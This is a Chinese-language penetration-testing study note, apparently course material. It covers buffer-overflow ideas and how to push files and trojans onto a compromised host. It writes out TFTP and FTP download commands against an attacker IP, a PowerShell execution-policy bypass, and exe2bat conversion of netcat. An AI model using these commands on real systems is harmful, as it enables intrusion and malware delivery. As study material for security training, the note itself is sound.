溢出其余思路
- 有的时候我们可能只能发送指定个数的溢出字符,比如说只有发送3000个a的时候我们才能控制EIP的指定内容。
- 有的时候我们可能并不能修改很多字符,情况是我们在EIP后面的栈内容中只能写很少个数的内容,但是我们溢出肯定有很多代码,所以找到那段字节,这个值可能是存在eax/ebx/edi之类的寄存器存储的内存单元指向的地址的,我们可以修改他,然后使用jmp eax之类的命令跳转过去,当然我们还是要先将EIP跳到ESP,然后间接跳转。
- 跳转的时候还可以使用call,但是记得要恢复堆栈平衡的。
- 溢出的坏字符一定要先查询
搜索漏洞
- Exploit-db
- SecurityFocus
- Searchsploit
上传文件
Linux:
- netcat
- curl
- wget
Windows:
nc反弹的shell并不是一个交互的shell,不能进一步使用太多功能。- TFTP(UDP,不加密,没有身份验证)
- XP,2003都是有的
- Win7、2008都需要单独添加
- 但是一般会被防火墙过滤
- mkdir /tftp
- 将要上传到文件复制到tftp中
- chown -R nobody /tftp
- atftpd –daemon –port 69 /tftp
- netstat -panu | grep 69
- 上面的命令主要是判断是不是atftpd打开的69,如果不是说明chown需要再运行一次
- 在shell中使用
tftp -i 192.168.209.130 get 在tftp中的文件
- FTP进行下载
echo open 192.168.209.130 > ftp.txt
echo username >> ftp.txt
echo password >> ftp.txt
echo bin >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
- 在shell中执行
ftp -s:ftp.txt
- vbs通过http传输
- 使用echo输出
- 然后本机开80,放木马
- 对面下载(使用cscript)
- 使用POWERSHELL传输文件
- 编写脚本和vbs差不多
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonIneractive -NoProfile filename.ps1
- 使用Debug
- 使用压缩壳对木马进行压缩
- 使用
exe2bat.exe nc.exe nc.txt
吧exe转换成文本的二进制文件 - 然后在shell中执行echo的语句,记住最后两句不是
- 他会在目标生成一个hex文件
- 最后再使用他最后两句的第一句,使用Debug汇编会生成一个DLL
- 然后使用最后一句改名DLL为执行程序
- 这个方法不能大于64KB
- TFTP(UDP,不加密,没有身份验证)